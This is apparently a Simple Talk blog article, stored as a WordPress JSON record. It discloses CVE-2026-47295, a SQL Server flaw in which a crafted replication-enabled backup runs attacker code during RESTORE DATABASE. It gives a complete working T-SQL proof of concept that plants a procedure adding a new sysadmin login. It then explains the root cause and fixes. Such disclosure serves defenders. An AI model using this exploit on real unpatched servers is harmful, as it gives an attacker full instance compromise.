{"id":111803,"date":"2026-07-31T12:00:00","date_gmt":"2026-07-31T12:00:00","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=111803"},"modified":"2026-07-24T11:24:29","modified_gmt":"2026-07-24T11:24:29","slug":"how-a-sql-server-backup-can-execute-attacker-code-during-restore-and-how-to-prevent-it-cve-2026-47295-vulnerability","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/how-a-sql-server-backup-can-execute-attacker-code-during-restore-and-how-to-prevent-it-cve-2026-47295-vulnerability\/","title":{"rendered":"How a SQL Server backup can execute attacker code during restore – and how to prevent it (CVE-2026-47295 vulnerability)"},"content":{"rendered":"\n

CVE-2026-47295 is a SQL Server vulnerability that lets a maliciously crafted database backup execute attacker-controlled code with sysadmin privileges during a routine RESTORE DATABASE<\/code> operation.<\/strong> <\/p>\n\n\n\n

The flaw lives in the internal replication cleanup procedure sys.sp_MSremovedbreplication_internal<\/code>, which builds a dynamic procedure name from the restored database’s name using QUOTENAME()<\/code>. Because the destination variable is only nvarchar(255)<\/code>, a carefully crafted database name \u2014 one packed with closing square brackets \u2014 causes the generated name to be silently truncated into a different, attacker-controlled procedure name. <\/strong><\/p>\n\n\n\n

SQL Server then executes that procedure under an elevated internal restore context. The proof of concept detailed in this article demonstrates full instance compromise: a restored backup creates a new SQL Server login and adds it to the sysadmin fixed server role, with no application input, no visible SQL injection syntax, and no chance for an administrator to review the database first.<\/strong><\/p>\n\n\n\n

This article is part of Fabiano Amorim’s series on SQL Server vulnerabilities you may not be aware of<\/a>.<\/em><\/p>\n\n\n\n

A quick introduction to SQL Server backups<\/h2>\n\n\n\n

SQL Server<\/a> backups are usually treated as data. A .bak<\/code> file is something we restore, validate, refresh into QA, move between environments, use for migrations<\/a>, or load during disaster recovery<\/a> exercises. It’s common to think about the data inside the backup: tables, indexes, stored procedures<\/a>, users, permissions<\/a>, and application state. <\/p>\n\n\n\n

However, a backup is more than just the data within it. It also contains metadata, object names<\/a>, replication state, and database-level configurations. And, in some restore paths, that metadata is not just loaded – it’s acted upon by SQL Server itself.<\/p>\n\n\n\n

The SQL Server CVE-2026-47295 vulnerability – and why it’s so unique<\/h2>\n\n\n\n

In this article, I’ll reveal and explain a vulnerability I reported to Microsoft. It was assigned CVE-2026-47295<\/strong> and fixed in the July 2026 SQL Server security update.<\/p>\n\n\n\n

While the vulnerability has been fixed<\/em>, I will refer to it in the present tense<\/em> for the purposes of this article.<\/em><\/p>\n\n\n\n

The vulnerability exists in SQL Server\u2019s restore \/ replication-cleanup path. More specifically, it’s reachable when a replication-enabled database<\/a> is restored and SQL Server invokes internal replication cleanup procedures. The vulnerable procedure is sys.sp_MSremovedbreplication_internal<\/code>.<\/p>\n\n\n\n

At a high level, the issue is a truncation-based SQL injection<\/a> \/ procedure-name injection vulnerability. SQL Server builds a procedure name dynamically using the restored database name, stores it in a variable that is too small, silently truncates the value, and then executes the truncated procedure name under an elevated internal restore context.<\/p>\n\n\n\n

The result is serious. A maliciously crafted backup can cause attacker-controlled T-SQL to execute during RESTORE DATABASE<\/a><\/code> before an administrator even has a chance to review the restored database.<\/p>\n\n\n\n

The proof-of-concept demonstrates full instance compromise by creating a new SQL Server login and adding it to the sysadmin<\/code> fixed server role<\/a>.<\/p>\n\n\n\n

\n
\n\n

This article is part of Fabiano Amorim’s series on SQL Server vulnerabilities you weren’t aware of<\/strong> – click here<\/a> for more.<\/p>\n\n<\/div>\n<\/div> \n\n\n

Why this SQL Server vulnerability is so interesting (and unique)<\/h3>\n\n\n\n

Most SQL injection vulnerabilities are fairly easy to categorize, but this one’s slightly different. There’s no classic web form, application query, or obvious DROP TABLE<\/code> payload. And the attacker isn’t directly passing text into a stored procedure and waiting for it to be concatenated into a batch.<\/p>\n\n\n\n

Instead, the vulnerable input is a database identifier<\/a>. The attack abuses how SQL Server constructs a three-part procedure name during restore: [database_name].sys.sp_MSremovedbreplication<\/code> (which is stored in an nvarchar(255)<\/code> variable.) This is fine under normal database names but, under a carefully crafted database name, it’s not long enough.<\/p>\n\n\n\n

The string being truncated is not the only issue, though. The real problem is that the truncation can turn the intended procedure name into a different, attacker-controlled procedure name<\/strong> – the key idea behind this vulnerability.<\/strong><\/p>\n\n\n\n

While the engine intended to execute this: [restored_database].sys.sp_MSremovedbreplication<\/code> – the variable is too small, so the generated procedure name can easily be truncated into something equivalent to [attacker_controlled_schema].sy<\/code>. <\/p>\n\n\n\n

So, if the attacker has prepared a stored procedure named sy<\/code> under a matching schema inside the database backup, SQL Server executes that attacker-controlled procedure during the restore process. And because this happens inside the restore \/ replication-cleanup path, the attacker-controlled procedure runs under an elevated internal context.<\/p>\n\n\n\n

The restore \/ replication call chain<\/h2>\n\n\n\n

The vulnerable path starts during RESTORE DATABASE<\/code>.<\/strong><\/p>\n\n\n\n

When SQL Server restores a database, it may need to deal with replication metadata. This is especially important when the database being restored was configured as a transactional publisher, merge publisher, distributor, transactional subscriber, or merge subscriber. <\/p>\n\n\n\n

SQL Server uses the sys.sp_restoredbreplication<\/code> procedure as part of that flow, and the header comment in this procedure explains its purpose clearly:<\/p>\n\n\n\n

\/*\n * used by restore process to strip out replication settings if restoring to non-originating\n * server\/db or system otherwise not capable of keeping replication working\n * WARNING : procs called here run internal to server and must be owner qualified\n*\/<\/pre><\/div>\n\n\n\n
That warning is important. It tells us these procedures are not ordinary application procedures – they are part of a trusted internal restore path.<\/p>\n\n\n\n
sys.sp_restoredbreplication<\/code> first checks whether the caller has a role that is allowed to restore the database:<\/p>\n\n\n\n
if (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0) \n   and (ISNULL(IS_SRVROLEMEMBER('dbcreator'),0) = 0)\n   and (ISNULL(IS_MEMBER('db_owner'),0) = 0)\nbegin\n    raiserror(18799, 16, -1) \n    return 1\nend<\/pre><\/div>\n\n\n\n
 It then checks whether the restored database contains replication-related objects. For example:<\/p>\n\n\n\n
if object_id(N'syspublications', N'U') is not null \n    or object_id(N'syspublications', N'V') is not null \n    or object_id(N'sysmergepublications', N'U') is not null\n    or object_id(N'MSreplication_subscriptions', 'U') is not null\n    or object_id(N'MSmerge_replinfo', 'U') is not null\nbegin\n    exec @retcode = sys.sp_MSrestoredbreplication\n        @srv_orig = @srv_orig, \n        @db_orig = @db_orig,\n        @keep_replication = @keep_replication,\n        @perform_upgrade = @perform_upgrade,\n        @recoveryforklsn = @recoveryforklsn\nend<\/pre><\/div>\n\n\n\n
So, the first part of the call chain is:<\/p>\n\n\n\n
RESTORE DATABASE\n    -> sys.sp_restoredbreplication\n        -> sys.sp_MSrestoredbreplication<\/pre><\/div>\n\n\n\n
Inside sys.sp_MSrestoredbreplication<\/code>, SQL Server determines whether replication should be removed from the restored database. One condition is whether the database is being restored to a different server or under a different database name, and whether KEEP_REPLICATION<\/code> was requested or not. The relevant condition is:<\/p>\n\n\n\n
if (( UPPER(@srv_orig) <> UPPER(@@SERVERNAME) ) or ( @db_orig <> @db_curr ))\n   and @keep_replication = 0\nbegin\n   select @remove_repl = 1\n   ...\nend<\/pre><\/div>\n\n\n\n
Later, if replication is installed and cleanup is required, SQL Server calls the vulnerable procedure:<\/p>\n\n\n\n
if ( @repl_installed = 1 ) and ( @remove_repl = 1 ) begin\n    if @requires_replication_fs = 1 DBCC TRACEON (8224, -1)\n\n    exec sys.sp_MSremovedbreplication_internal\n        @dbname = @db_curr,\n        @ignore_distributor = 1,\n        @from_backup = 1\n\n    if @requires_replication_fs = 1 DBCC TRACEOFF (8224, -1)\nend<\/pre><\/div>\n\n\n\n
Now, the call chain becomes:<\/p>\n\n\n\n
RESTORE DATABASE\n    -> sys.sp_restoredbreplication\n        -> sys.sp_MSrestoredbreplication\n            -> sys.sp_MSremovedbreplication_internal<\/pre><\/div>\n\n\n\n
…and the vulnerability is in that last procedure.<\/strong><\/p>\n\n\n\n
The vulnerable code<\/h2>\n\n\n\n
Here’s the relevant part of sys.sp_MSremovedbreplication_internal<\/code>:<\/p>\n\n\n\n
create procedure sys.sp_MSremovedbreplication_internal \n(\n      @dbname               sysname,\n      @type                 nvarchar(5) = 'both',\n      @ignore_distributor   bit = 0,\n      @from_backup          bit = 0\n) \nAS\n    SET NOCOUNT ON\n\n    DECLARE @retcode int\n    DECLARE @proc nvarchar(255)\n    DECLARE @restoreoverride int\n    DECLARE @db_status sysname\n    DECLARE @ErrorMessage NVARCHAR(4000)\n\n    ...<\/pre><\/div>\n\n\n\n
The important variable is DECLARE @proc nvarchar(255)<\/code>. The procedure then builds a dynamic procedure name:<\/p>\n\n\n\n
SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'\n\nEXEC @retcode = @proc\n    @type = @type,\n    @ignore_distributor = @ignore_distributor,\n    @from_backup = @from_backup<\/pre><\/div>\n\n\n\n
At first glance, this looks reasonable. The code isn’t building a raw batch like EXEC('...')<\/code>. Instead, it’s building an object name and then executing it: EXEC @retcode = @proc ...<\/code><\/p>\n\n\n\n
The database name is also passed through QUOTENAME()<\/code>, which is usually<\/em> the right function to use when converting an identifier into a delimited identifier. The intended result is [DatabaseName].sys.sp_MSremovedbreplication<\/code>.<\/p>\n\n\n\n
The problem, however, is the size of @proc<\/code>. A SQL Server sysname<\/code> can be up to 128 characters, but QUOTENAME()<\/code> can make the resulting string much longer, especially when the input contains closing square brackets (]). This is because every ] inside a bracket-delimited identifier<\/a> must be escaped by doubling it.<\/p>\n\n\n\n
For example, a database name made of many ] characters expands significantly when passed through QUOTENAME()<\/code>. If the database name is 125 closing brackets, then:<\/p>\n\n\n\n
Original database name length: 125\nQUOTENAME(@dbname) length:     252\nSuffix length:                  29\nFull procedure name length:    281<\/pre><\/div>\n\n\n\n
The suffix is .sys.sp_MSremovedbreplication<\/code>, but @proc<\/code> can only hold 255 characters: DECLARE @proc nvarchar(255)<\/code>.<\/p>\n\n\n\n
This results in SQL Server silently truncating the generated procedure name during assignment, which changes the meaning of the procedure name in the process. <\/p>\n\n\n\n
So, instead of storing the full intended value – [escaped_database_name].sys.sp_MSremovedbreplication<\/code> – the variable ends with only the first few characters of the suffix: [escaped_database_or_schema_name].sy<\/code>. This is enough to redirect execution.<\/p>\n\n\n\n
Why the crafted name works<\/h2>\n\n\n\n
The proof-of-concept uses a database name made of 125 closing square brackets:<\/p>\n\n\n\n
]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]<\/pre><\/div>\n\n\n\n
This looks strange, but is in fact a valid delimited identifier. The reason it’s useful is because of how QUOTENAME()<\/code> escapes closing brackets. A simplified example being SELECT QUOTENAME(N']')<\/code>, which returns just []]]<\/code>. That is:<\/p>\n\n\n\n
Opening bracket: [\nEscaped closing bracket: ]]\nClosing bracket: ]<\/pre><\/div>\n\n\n\n
Every ] in the original name becomes ]] in the quoted name, so when the original database name contains 125 ] characters, the quoted version becomes very<\/em> large! When SQL Server then appends .sys.sp_MSremovedbreplication<\/code>, the generated string no longer fits inside nvarchar(255)<\/code>.<\/p>\n\n\n\n
The attacker chooses the database-name length so that the truncation happens at a useful point: after .sy<\/code>. This means the variable no longer references the intended system procedure – it references a shorter name ending in sy<\/code>. The attacker then creates a matching schema and stored procedure inside the malicious database:<\/p>\n\n\n\n
CREATE SCHEMA [same crafted name]\nGO\n\nCREATE PROC [same crafted name].[sy]\n...<\/pre><\/div>\n\n\n\n
When SQL Server later executes the truncated @proc<\/code> value, name resolution reaches the attacker-controlled procedure. This is the core of the vulnerability:<\/p>\n\n\n\n
1. SQL Server builds an intended procedure name from a database name.\n2. The database name is attacker-controlled through the restored backup.\n3. QUOTENAME() expands the database name.\n4. The generated procedure name is longer than nvarchar(255).\n5. SQL Server truncates the value.\n6. The truncated value becomes a valid attacker-controlled procedure name.\n7. SQL Server executes that procedure under the elevated restore context.<\/pre><\/div>\n\n\n\n
Why is this a SQL Server privilege escalation?<\/h2>\n\n\n\n
Put simply, the attacker doesn’t just cause an error – they get code execution inside a privileged internal workflow within the SQL Server. <\/strong><\/p>\n\n\n\n
This is possible because the procedure sys.sp_MSremovedbreplication_internal<\/code> is part of the restore \/ replication cleanup path – and the restore engine invokes this path while handling replication metadata. <\/p>\n\n\n\n
According to the behavior observed in the proof-of-concept, the attacker-controlled stored procedure executes under an internal elevated context (effectively sa<\/code>). This changes the impact completely, as no longer is the attacker-controlled procedure ran as the low-privileged login that created the database (interesting, but not critical).<\/p>\n\n\n\n
Instead, the attacker-controlled procedure can run as the elevated restore context, and the malicious backup can become a vehicle for privilege escalation<\/a>. The proof-of-concept demonstrates this by creating a new login:<\/p>\n\n\n\n
CREATE LOGIN [NewSysAdminLogin]\nWITH PASSWORD=N'complexpwd', CHECK_POLICY=OFF<\/pre><\/div>\n\n\n\n
…and then adding it to the sysadmin<\/code> fixed server role:<\/p>\n\n\n\n
 ALTER SERVER ROLE [sysadmin] ADD MEMBER [NewSysAdminLogin]<\/pre><\/div>\n\n\n\n
After the restore completes, the login exists on the target instance, and is a sysadmin. This is full-instance compromise.<\/strong><\/p>\n\n\n\n
\n    
\n        
\n            
\n                
Protect your data. Demonstrate compliance.<\/h3>\n                
\n                                            With Redgate, stay ahead of threats with real-time monitoring and alerts, protect sensitive data with automated discovery & masking, and demonstrate compliance with traceability across every environment.                                    <\/div>\n            <\/div>\n                                            Learn more<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n
Full reproduction of the vulnerability (step-by-step guide)<\/h2>\n\n\n\n
The following full reproduction of the security vulnerability should be run only in an isolated lab environment. The scenario uses two SQL Server instances:<\/p>\n\n\n\n
Instance A: attacker-controlled build instance\nInstance B: target restore instance<\/pre><\/div>\n\n\n\n
The attacker prepares the malicious backup on Instance A, and the backup is restored on Instance B. The restore on Instance B then triggers the replication cleanup path, causing SQL Server to execute the attacker-controlled procedure.<\/p>\n\n\n\n
Step 1: Create a database using a crafted name<\/h3>\n\n\n\n
First, create a database with a name made of 125 closing square brackets:<\/p>\n\n\n\n
USE master\nGO\n\nCREATE DATABASE \"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\"\nGO<\/pre><\/div>\n\n\n\n
This database name is important because it causes QUOTENAME(@dbname)<\/code> to expand enough that this expression becomes longer than 255 characters: quotename(@dbname) + '.sys.sp_MSremovedbreplication'<\/code>. The vulnerable procedure then stores that expression in @proc nvarchar(255)<\/code>, which causes truncation.<\/p>\n\n\n\n
Step 2: Enable replication publishing<\/h3>\n\n\n\n
The vulnerable restore path is only reached when SQL Server detects replication-related metadata.<\/strong> Enable publishing on the crafted-name database:<\/p>\n\n\n\n
EXEC sp_replicationdboption\n    @dbname =\nN']]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]',\n    @optname = N'publish',\n    @value = N'true'\nGO<\/pre><\/div>\n\n\n\n
This step ensures the database carries replication state so that, during restore, SQL Server invokes the replication cleanup workflow. Without<\/em> this replication state, sp_restoredbreplication<\/code> may not call the deeper replication cleanup procedures.<\/p>\n\n\n\n
Step 3: Create the attacker-controlled schema and procedure<\/h3>\n\n\n\n
Switch to the crafted-name database…<\/p>\n\n\n\n
USE\n\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\"\nGO<\/pre><\/div>\n\n\n\n
…and then create a schema with it:<\/p>\n\n\n\n
CREATE SCHEMA\n\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\"\nGO<\/pre><\/div>\n\n\n\n
Under the schema, create a stored procedure called sy<\/code>:<\/p>\n\n\n\n
CREATE PROC\n\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\".\n\"sy\"\n    @type               NVARCHAR(5) = '',\n    @ignore_distributor BIT = 0,\n    @from_backup        BIT = 0\nAS\nBEGIN\n    BEGIN TRY\n        IF SUSER_ID('NewSysAdminLogin') IS NULL\n        BEGIN\n            CREATE LOGIN [NewSysAdminLogin]\n                WITH PASSWORD=N'complexpwd',\n                CHECK_POLICY=OFF;\n\n            ALTER SERVER ROLE [sysadmin]\n                ADD MEMBER [NewSysAdminLogin];\n        END\n    END TRY\n    BEGIN CATCH\n        PRINT ERROR_MESSAGE();\n    END CATCH\nEND\nGO<\/pre><\/div>\n\n\n\n
The procedure signature is intentional. The vulnerable code later calls the generated procedure name with these parameters:<\/p>\n\n\n\n
@type = @type,\n@ignore_distributor = @ignore_distributor,\n@from_backup = @from_backup<\/pre><\/div>\n\n\n\n
Therefore, the attacker-controlled procedure must accept compatible parameters. The payload in this demonstration creates a SQL login and adds it to sysadmin<\/code>. This isn’t required for exploitation, but is<\/em> a clear way to prove that the code executed with elevated server-level privileges.<\/p>\n\n\n\n
Step 4: Back up the database<\/h3>\n\n\n\n
Back up the crafted database:<\/p>\n\n\n\n
BACKUP DATABASE\n\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\"\nTO DISK = N'C:\\Temp\\Backup\\Test1.bak'\nWITH\n    NAME = N'Test1-Full Database Backup',\n    SKIP,\n    NOREWIND,\n    NOUNLOAD,\n    STATS = 10\nGO<\/pre><\/div>\n\n\n\n
At this point, the malicious content is inside the backup – this content being:<\/p>\n\n\n\n
- A replication-enabled database\n- A crafted database name\n- A crafted schema name\n- A stored procedure named sy\n- A payload that creates a sysadmin login<\/pre><\/div>\n\n\n\n
Step 5: Restore the backup on a different instance<\/h3>\n\n\n\n
Now, move the backup to another SQL Server instance, and restore it there:<\/p>\n\n\n\n
USE [master];\nGO\n\nRESTORE DATABASE\n\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\"\nFROM DISK = N'C:\\Temp\\Backup\\Test1.bak'\nWITH\n    FILE = 1,\n    MOVE N'Tmp1'     TO N'C:\\Temp\\Tmp1.mdf',\n    MOVE N'Tmp1_log' TO N'C:\\Temp\\Tmp1_log.ldf',\n    REPLACE\nGO<\/pre><\/div>\n\n\n\n
Because the database is restored on a different instance, SQL Server determines that replication cleanup is required. This is the trigger for the vulnerability.<\/strong> The restore path now calls sys.sp_restoredbreplication<\/code>, which in turn calls sys.sp_MSrestoredbreplication<\/code> and then, finally, sys.sp_MSremovedbreplication_internal<\/code>.<\/p>\n\n\n\n
Then, inside sys.sp_MSremovedbreplication_internal<\/code>, SQL Server builds the intended procedure name:
SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'<\/code><\/p>\n\n\n\n
However, the value is truncated, because @proc<\/code> is only nvarchar(255)<\/code>. This truncated procedure name resolves to the attacker-controlled procedure:<\/p>\n\n\n\n
\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\".\"sy\"<\/pre><\/div>\n\n\n\n
SQL Server now executes it with the parameters expected by the original internal call.<\/p>\n\n\n\n
Step 6: Verify the result<\/h3>\n\n\n\n
After the restore, check whether the login was created and whether it’s a sysadmin<\/code>:<\/p>\n\n\n\n
SELECT\n    SUSER_ID('NewSysAdminLogin') AS loginid,\n    IS_SRVROLEMEMBER('sysadmin', 'NewSysAdminLogin') AS is_sysadmin;\nGO<\/pre><\/div>\n\n\n\n
The result should be:<\/p>\n\n\n\n
loginid     is_sysadmin\n----------- -----------\n381         1<\/pre><\/div>\n\n\n\n
The exact loginid<\/code> may differ, but is_sysadmin = 1<\/code> confirms the impact. The attacker-controlled procedure executed during restore and successfully added a new member to the sysadmin<\/code> server role.<\/strong><\/p>\n\n\n\n
What’s the root cause of this SQL Server vulnerability?<\/h2>\n\n\n\n
The root cause is unsafe dynamic procedure-name construction, combined with too small a buffer for the maximum possible quoted identifier.<\/strong><\/p>\n\n\n\n
The vulnerable declaration is DECLARE @proc nvarchar(255)<\/code>, and the vulnerable assignment is SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'<\/code>.<\/p>\n\n\n\n
The assumption appears to be that 255 characters is enough to hold the generated procedure name – but it’s not, since @dbname<\/code> is sysname<\/code> and can therefore be up to 128 characters.<\/p>\n\n\n\n
And, because QUOTENAME()<\/code> must<\/em> escape closing brackets, a valid 125-character database name can expand to 252 characters after quoting. Once the suffix is appended, the generated value becomes 281 characters. <\/p>\n\n\n\n
Clearly, this doesn’t fit in nvarchar(255)<\/code>, so SQL Server silently truncates the value – and that truncated value is still syntactically valid enough to be executed as a procedure name. The result is a procedure-name injection primitive.<\/p>\n\n\n\n
So, the vulnerability is not<\/em> caused by QUOTENAME()<\/code> being unsafe – it’s just doing what it’s supposed to do. The actual problem is that the code doesn’t allocate enough space for the result<\/em> of QUOTENAME()<\/code> and<\/em> the suffix.<\/p>\n\n\n\n
This is exactly why, in security-sensitive dynamic SQL paths, truncation can very easily escalate from a simple ‘correctness’ bug to a far more significant – and dangerous – code execution bug.<\/strong><\/p>\n\n\n\n
Why QUOTENAME wasn’t enough<\/h2>\n\n\n\n
QUOTENAME()<\/code> is often recommended for safely delimiting SQL Server identifiers, and that recommendation is still valid. However, it only helps if the result is preserved correctly. This pattern, for example, is unsafe:<\/p>\n\n\n\n
DECLARE @proc nvarchar(255);\n\nSELECT @proc = QUOTENAME(@dbname) + N'.sys.SomeProcedure';\n\nEXEC @proc;\n<\/pre><\/div>\n\n\n\n
The safe version must ensure the destination variable can always<\/em> hold the fully-generated string. For this case, the maximum size must account for:<\/p>\n\n\n\n
Maximum sysname input:        128 characters\nWorst-case escaped brackets:  up to 256 characters\nWrapping brackets:            2 characters\nSuffix:                       length of \".sys.sp_MSremovedbreplication\"<\/pre><\/div>\n\n\n\n
Therefore the buffer must<\/em> be larger than 255 characters.<\/strong> A safer declaration would be
 DECLARE @proc nvarchar(4000);<\/code>, or another size large enough to hold the maximum possible quoted identifier and suffix.<\/p>\n\n\n\n
Size alone is not the only lesson to learn here. The code should also validate that the generated value was not truncated, avoid executing attacker-influenced object names where possible, and ensure that internal elevated paths cannot resolve to user-created objects.<\/strong><\/p>\n\n\n\n
Why this vulnerability matters for restore workflows<\/h2>\n\n\n\n
This SQL Server vulnerability is important because it changes how we should think about database restores.<\/strong><\/p>\n\n\n\n
Restoring a database is often considered a safe administrative operation, as long as the administrator trusts the person requesting the restore, or trusts the source of the backup. However, the restore process itself<\/em> can execute internal code paths that interact with restored metadata.<\/p>\n\n\n\n
In this case, the dangerous combination was:<\/p>\n\n\n\n
Untrusted backup<\/strong>
+ Replication metadata
+ Crafted database \/ schema names
+ Internal restore cleanup
+ Elevated execution context
+ Truncation of a dynamic procedure name
= Privilege escalation<\/strong><\/p>\n\n\n\n
This is especially relevant in environments where restores are routine, such as:<\/p>\n\n\n
\n